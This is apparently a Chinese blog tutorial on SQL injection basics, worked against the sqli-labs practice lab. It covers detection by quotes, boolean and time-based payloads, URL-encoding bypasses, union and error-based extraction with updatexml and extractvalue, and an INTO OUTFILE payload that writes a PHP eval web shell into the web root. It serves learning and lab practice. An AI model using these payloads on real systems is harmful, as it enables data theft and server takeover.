【SQL注入】0x2 sql注入基础知识

0x2 sql注入基础知识

0x2.1 如何判断否存在sql注入

常见的判断:
1、get 单引号判断
?id=1' 如果报错说明存在sql注入
例如我们实验室:
打开漏洞环境Less-1错误型GET单引号字符型注入
输入?id=1显示正常
输入?id=1'显示错误,所以就存在sql注入
'的url编码是%27



2、get and判断
输入?id=-1 and 1=1 正常
输入?id=-1'and 1=2 报错
如果报错,那就存在sql,在请求字符串或者id参数后面加入 '单引号,是常见的一种发现是否存在sql注入的方法。
3、Or、xor判断
or xor方法和and方法一致。
4、sql运算符判断
输入?id=5-0
输入?id=5-1
输入?id=5+1
通过匹对获取到的内容是否一致,不一致代表存在sql注入,因为存在了你输入的payload运算执行;
5、通过sleep函数演示显示的形式进行判断
构造的payload

?id=1' and if(left(database(),1)='s',sleep(3),1)--+

*表示3秒后响应内容,这个大家可以通过实验环境测试看看~

6、服务端返回错误形式
错误直接回显在页面上
错误隐藏在页面源代码中
检测到错误跳转到另一个页面
返回HTTP错误代码500或重定向302
适当处理错误结果,常显示一个通用错误页面

7、其它方法…

0x2.2 了解post、get、编码

常用

'or and 1=1 # 'or and 1=1 –-+

#是sql语句中的注释符;

+ 在http请求中表示空格;

-- 后面的语句相当于被注释掉,不执行后面的sql语句;

--+代表闭合sql查询语句,如果没加,无法形成有效的mysql语句,这是sql注入中常见的巧妙运用。

在post参数中
要加空格符,直接输入空格服即可;用+会被http请求转义为%2B编码;
在get请求中
在get请求中如果有空格,需要用空格符编码%20来替代,不然会请求报错;
如果用#表示不提交#后面的参数到服务端,但是转成%23编码就可以提交过去;
常见URL编码
空格 %20 +%2b <%3c >%3e

更多参考http://www.w3school.com.cn/tags/html_ref_urlencode.html
或者工具查询http://tool.chinaz.com/tools/urlencode.aspx

神奇的编码可以进行各种绕过!

0x2.3 了解sql注入常用mysql函数

1、order by
该函数用于对结果集进行排序,主要用于猜字段。
例如我们在实验室less-1
输入?id=1要确定它里面有多少个字段,就要用到order by了
例如输入?id=1' order by 3 --+ 显示正常
再次输入?id=1' order by 4 --+ 显示错误
所以的出,在?id=1查看的这个表有3个字段

2、union
union在sql注入测试过程中,几乎经常用到,实验室例子:

?id=-1' union select 1,user(),database() --+


3、MID
SELECT MID(ColumnName, Start [, Length]) FROM TableName
4、LEFT(str,len)
返回字符串str的最左面len个字符
5、ASCII(str) =ORD
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL
6、SUBSTR(str,pos,len)
从str中多少个字符开始,截取多少位
7、CAST
SELECT CAST(’12’ AS int) 将目标str转化为目标数据类型
8、IFNULL(expr1,expr2)
如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2
9、updatexml()
updatexml(1,concat(0x7e,user(),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误显示user()该函数。但显示出来的内容最多只有32个字符串;利用原理对他是对XML文档进行更新的函数;
语法:updatexml(目标xml文档,xml路径,更新的内容)
10、extractvalue()
extractvalue也是运用于报错sql注入;利用原理对XML文档进行查询的函数;
语法:extractvalue(目标xml文档,xml路径)
熟悉mysql常见的判断语句函数
参考文章http://www.runoob.com/mysql/mysql-functions.html
11、LOAD_FILE
可以利用该函数,进写入shell
用法:select load_file(‘file1’) into outfile ‘file2’
将file1的文件导入WEB目录file2的文件中进行访问!
例子:

?id=1’)) union select 1,2,’<?php @eval($_POST[“cmd”]);?>’ into outfile “/home/wwwroot/default/test.php”—+

细致使用参考文章:https://www.cnblogs.com/blacksunny/p/8060028.html

学习完以上基础知识我们来进行下一步实战实验

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值